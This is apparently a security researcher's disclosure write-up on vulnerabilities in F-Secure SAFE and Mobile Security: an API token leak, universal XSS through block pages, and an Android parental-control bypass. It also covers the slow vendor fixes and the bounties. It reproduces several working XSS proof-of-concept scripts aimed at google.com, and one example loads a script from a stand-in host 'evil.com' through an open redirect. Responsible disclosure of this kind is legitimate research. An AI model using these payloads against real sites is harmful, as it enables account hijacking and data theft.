Pwning your antivirus, part 3: the UXSS that wouldn't die

All right, time for another post in the series. This one's been in the works for a looong time; something like 9 months now. My previous post was about F-Secure SAFE for Mac, and where it left off, I intend to pick up here.

Information Leak in Browsing Protection APIs

I reported several bugs; here's important part of the report I started with in January, an Information Leak in F-Secure SAFE for Windows:

The vulnerability in question is in the Browsing Protection FS_SERVICE API and can be reproduced as follows: - Set up a web server to respond with a "200 OK" on - Edit your Windows hosts file to include the following line: www.google.igi.tl - Make sure Browsing Protection is enabled and the browser plugins installed. - Go to http://www.google.igi.tl/ in Chrome. You should see the page served by your local web server. - Open Chrome's dev console (Shift+Ctrl+J) and type the following: prefix_rsc_url - Hit enter, and you should see a URL containing a 32-character token.

The affected component, Browsing Protection, is basically a proxy that goes through your web traffic (non-TLS; TLS traffic is handled by a browser extension), blocks URLs known to be malicious, and injects some silly ranking code into search engine results pages. These injected code snippets access APIs that are protected with random 32-character authorization tokens.

The idea, of course, was to point out that that an authorization token could be accessed by a malicious origin. Which would then lead to the origin gaining access to F-Secure Browsing Protection APIs. Editing your hosts file wasn't part of the issue or in any way relevant; the same could have been done with a real DNS record, I just skipped that bit to make testing easier. Which I pointed out clearly in the same email:

The local web server and the hosts file entry are both obviously just for testing. A real attacker would have a real web server and a domain name pointing to it. Any short 2nd level domain name will do, as long as you create a "google" subdomain.

Not really an interesting bug, the only use I could immediately find for the Browsing Protection APIs was enumerating through a user's browser history. The response from F-Secure was exactly what you'd expect (emphasis mine):

With regards to the Information Leak through Browsing Protection for SAFE PC, our development team has investigated the issue and have concluded that it is not a vulnerability with Browsing Protection. We believe that if an attacker is able to modify the host file of a victim in the first place, there could be other methods to leak information rather than just through Browsing Protection. Having the ability to modify host file freely would also indicate that the machine has already been compromised using another method.


However if you are able to provide us a working PoC of leaking information about block page without modifying the host file, please do inform us for further investigation.

Ok, screw you, I own the domain I used in the example, so I'll just host a proper PoC there. Which I did. I also spent a few minutes to figure out what to do with the API access:

Here's a new and improved PoC for the information disclosure issue: http://www.google.igi.tl/anklfguoufgnnds/fsecure.html I've hosted it on my web server, so no hosts file modification required. What the PoC does is triggers banking mode and then abuses the resulting block pages to find out your Facebook profile URL.

The PoC is still live at the original URL, so you can check out the source code there. With the click of a button it would work out the URL to your Facebook profile, as long as you were logged in. Is that a vulnerability yet?

After this new PoC, it took F-Secure a month to respond with anything other than boilerplate. That was to inform me that a fix had been released, only to let me know in the next email that (paraphrasing here) "sorry, no, nothing was actually released, it was an error". The actual release came another month later, in April, and even then it did nothing to restrict access to the sensitive APIs: all they did was rename the fs_prefix_rsc_url variable to x (which did nothing) and change the block page IDs to random hashes (which actually made the specific exploit impossible, but only that). This fix was released as a Network Interception Framework Update—whatever that is—version 2016-04-04_01.

Universal XSS in Browsing Protection

Concurrently with the Information Leak reports, I discovered and reported a Cross-Site Scripting issue in the very same Browsing Protection component in F-Secure SAFE for Windows. Here's an excerpt of another report I sent in January:

1) Host the following HTML document on a web server. 2) Open it in a Chrome instance with Browsing Protection enabled. 3) Click on the "Do it!" button. 4) Observe XSS on google.com. <script> window.addEventListener("message", function (event) { location.href = event.data.replace(/^http:\/\/localhost:\d+\//, 'http://www.google.com/'); }); function doIt() { var w = window.open("https://kalantzis.net/#" + "';window.opener?" + "window.opener.postMessage(location.href,'*')" + ":alert('XSS\x20on\x20'+document.domain);'"); } </script> <button onclick="doIt()">Do it!</button> The HTML document above triggers XSS in the Browsing Protection block page, passes its URL back to the original script, then redirects to the same path on google.com, causing the same payload to be triggered there as well.

The PoC from above is also available here. The fun part in this one is of course that a simple XSS vulnerability in a Browsing Protection block page could be turned into Universal XSS and used against unsuspecting tragets like Google, Facebook, and any online bank of your choice. It only worked in Chrome, but that was mainly because I was being lazy and didn't bother with other browsers.

The script warrants some explanation, as at first glance it might not be obvious how it worked.

Clicking the button would open a new browser window and attempt to load https://kalantzis.net/. This is a known malware domain picked from malwaredomainlist.com, which means the attempt to access it would be blocked by Browsing Protection. Now, because kalantzis.net is accessed over HTTPS, not HTTP, it would not be caught by the F-Secure proxy server (apparently called the Network Interception Framework); instead the interception would handlend by a browser extension. Due to technical limitations, the browser extension can't display a block page in-place on the same domain, and has to redirect to one on an HTTP server running on localhost.

So, in effect, the button would open a generated localhost URL, which could be used to uniquely reference the particular block page of the original HTTP request. This block page would display the original URL that was blocked, and the code to display that URL contained a simple XSS vulnerability. The payload in the PoC would read the URL of the block page and pass it back to the original script, which would then trigger navigation to the same URL—with one difference: it would replace localhost with google.com. The same block page would still open, because now it would be loaded from the F-Secure proxy server ("Network Interception Framework"). The same XSS payload would be run a second time, only now on a Google origin, this time triggering an alert dialog.

F-Secure quickly acknowledged the issue, but again it took a couple of months before they would even comment on a potential release date. A "fix" was released together with the fix to the Information Leak vulnerability, in the same Network Interception Framework Update version 2016-04-04_01.

At this point they also let me know that they had decided on a bounty of 100 EUR for the Information Leak, and 500 EUR for the UXSS.

Parental Control Bypass, Markup Injection, and Universal XSS on Android

A little bit after reporting the Information Leak and XSS issues on Windows, I moved on to the Android platform; specifically, F-Secure Mobile Security. This report is from February:

These have been tested on Android 5.1.1 with F-Secure Mobile Security 15.4.012621 FS_GP. 1) Trivial bypass of Parental Control in Safe Browser: - Enable Parental Control and keep the default settings. - Open Safe Browser and navigate to https://m.facebook.com/ - A block page appears; navigation is not allowed. - Next, navigate to https://..@m.facebook.com/ - Navigation succeeds, and you should see the Facebook login page. The trick is prepending "..@" to the URL. This seems to work reliably with all URLs and is very simple to do, so even your kids would be able to do it.

Ok, not really interesting.

2) Markup injection in the block page in Safe Browser: - Enable Parental Control as before. - Open Safe Browser and navigate to: https://m.facebook.com/#<h1>markup</h1> - Notice the "markup" header on the page. The h1 tags are interpreted as HTML. This also works on the "non-Parental Control" block pages, i.e. malicious domains. In that case, Parental Control obviously doesn't have to be enabled. The output is filtered and no inline scripts or scripts from 3rd party origins are allowed. It would be possible to do content exfiltration using danging img tags, but the page doesn't seem to contain anything sensitive after the URL. This still leaves phishing, injecting subversive messages and the like. However, bypassing the filter is possible in certain situations; see #3.

The app would let through most HTML code as-is, but filtered anything that could have been used for XSS. Except when that was on the same origin.

3) XSS filter bypass using HTTP redirections, universal XSS: - Enable Parental Control as before. - Open Safe Browser and navigate to: https://platform.twitter.com/#<script src="https://platform.twitter.com/widgets.js"></script> - You should see a normal block page with the URL "https://platform.twitter.com/#" displayed on it. However, the script injected after it doesn't get filtered. You can verify that by inspecting the source code of the page, or typing the following in the address bar: javascript:alert("__twttr" in window); Now, being able to inject scripts hosted on the same origin isn't very useful, but consider this: what if the blocked service contains an open redirection vulnerability? E.g. if there was a URL like: https://platform.twitter.com/vulnerable-page?returnto=https://some.other/url ...and that URL would return a HTTP 302 redirection. Now it would be possible to turn that into a more severe Cross-Site Scripting vulnerability like so: https://platform.twitter.com/#<script src="https://platform.twitter.com/vulnerable-page?returnto=https://evil.com/malicious.js"></script> Combine this with the Parental Control bypass from #1, and you'd be able to abuse it just like a regular XSS vulnerability.

The PoC wasn't perfect because the Parental Control feature would only be triggered on specific websites, and I obviously didn't have an open redirection on twitter.com to demo with. But it seemed to be enough to get the idea across, which is what I was hoping for. These were all rather minor issues, because they would have been very difficult to exploit.

I got no response at all from F-Secure in over a month. Not even the standard boilerplate. Not until April, when they finally reacted and let me know that they are working on it.

The first fix came out in June. F-Secure told me they had fixed all three issues; however, only the first one was fixed. Both the Markup Injection and UXSS issues were reproducible in their original form. I reported this back to them, and an actual fix for for those two came out in September.

Bypassing the UXSS fix on Windows

After F-Secure's first attempt at fixing the UXSS vulnerability on Windows, I quickly submitted a bypass. The PoC code is live here, and as you can see, doesn't differ much from the original:

<script> function doIt() { var w = window.open("https://kalantzis.net/" + "';if(document.domain==='localhost')" + "location.href=location.href.replace(/localhost:[0-9]+/,'www.google.com');" + "alert(document.domain);'"); } </script> <button onclick="doIt()">Do it!</button>

The biggest difference is that the injection is now in a slightly different part of the URL, as the original fix was to not include URL fragments in the block page. Instead of, say, escaping stuff properly, which is what a sensible person would do.

A couple of days later, before F-Secure really even had time to react to this one, I submitted a third PoC for the same UXSS vulnerability. This was for two reasons. Firstly, the second PoC still didn't work on Firefox, but more importantly, I also wanted to demonstrate that the fix F-Secure had implemented for the Information Leak vulnerability was not sufficient.

The third UXSS PoC is here, and the way it worked was a bit different:

<html> <head> <script> function xss() { var payload = "alert('XSS on ' + document.domain)"; var target = "www.google.com"; var xhr = new XMLHttpRequest(); xhr.open("POST", x /* fs_prefix_rsc_url */ + "/httpsscan", false); xhr.send(JSON.stringify({ "url": "http://kalantzis.net/</scr" + "ipt><scr" + "ipt>" + payload + "</scr" + "ipt>", "rqtype": 1 })); location.href = JSON.parse(xhr.responseText) .redirect.replace(document.domain, target); } </script> </head> <body onload="xss()"></body> </html>

This PoC would directly access the same APIs that were exploited in the Information Leak PoCs. It would query the API for a block page URL, then redirect to that path on the target origin, fetching the vulnerable page from the F-Secure proxy server. Because the block page URL was passed in a JSON message and not through the URL bar, this would work equally well in all browsers.

This time the initial response from F-Secure was quick, and again they acknowledged the issue. Another three months of waiting followed, after which they pushed out another patch, F-Secure Network Interception Framework Update 2016-07-18_01. Literally 10 minutes of testing later, I countered with the fourth PoC:

<html> <head> <script> function xss() { var payload = "alert(&apos;XSS&nbsp;on&nbsp;&apos;+document.domain)"; var target = "www.google.com"; var xhr = new XMLHttpRequest(); xhr.open("POST", fs_prefix_rsc_url + "/httpsscan", false); xhr.send(JSON.stringify({ "url": "http://kalantzis.net/&lt;/scr" + "ipt&gt;&lt;iframe" + "/src=&quot;javascript:" + payload + "&quot;&gt;", "rqtype": 1 })); location.href = JSON.parse(xhr.responseText) .redirect.replace(document.domain, target); } </script> </head> <body onload="xss()"></body> </html>

Can you spot the difference? Two things changed compared to the third PoC; the payload is now escaped using HTML entities, and the variable used to access the F-Secure APIs has been renamed back to the original fs_prefix_rsc_url. Basically zero effort from F-Secure. At this point it had already been half a year since I initially reported the issue, so I started getting a bit tired and decided to set a deadline:

Starting from this moment, I'm giving you 60 days to implement and release a proper fix for the UXSS vulnerability on Windows. At the end of September I'm going to publish the details, regardless of whether you've managed to fix it or not. This is to motivate you to actually take this seriously, and the 60 days should be *plenty*, especially for something you've already worked on for this long. Now, since it seems you can't figure it out on your own, here's how you fix an XSS vulnerability: Step 1: Use context-aware escaping everywhere, on all untrusted input. Step 2: There is no step 2. This is the only way to do it. If you figure out some other way to do it, it is not actually a good way to do it. Do not do it any other way. You should have some in-house web application security expertise, so please put that into use. Get some of those people working on your QA.

And hey, results! The initial response was surprisingly positive, and about a month later they got back to me with something that actually sounded promising:

We have had our in-house software security experts working with the development team to fix the root cause of the issue. At the moment, the team has fixed the cause of UXSS and is currently still doing some improvements to the block page. We aim to have a new database release in 3 weeks (possibly the week of 12th September as it is going through the normal release and testing process).

And finally, another month later, week before the deadline in September:

We would like to inform you that a new database of F-Secure Network Interception Framework has been released yesterday with the version 2016-09-20_01. With that database release, the fix for UXSS is in place along with some additional improvements to the block page. We would llike you to kindly update the product database and verify the fixes that we deployed.

And yes, now they got it right! The deadline did wonders :)


The final fix for the UXSS was included in F-Secure Network Interception Framework database update version 2016-09-20_01. F-Secure decided not to release any advisories for any of the issues mentioned above.

In October F-Secure got back to me with some new decisions regarding bounties: 550 EUR for the vulnerabilities in F-Secure Mobile Security, and 1500 EUR for the UXSS, in addition to the 600 EUR already paid. That makes for a total of 2650 EUR for UXSS and a bunch of minor issues on two platforms.

No comments:

Post a Comment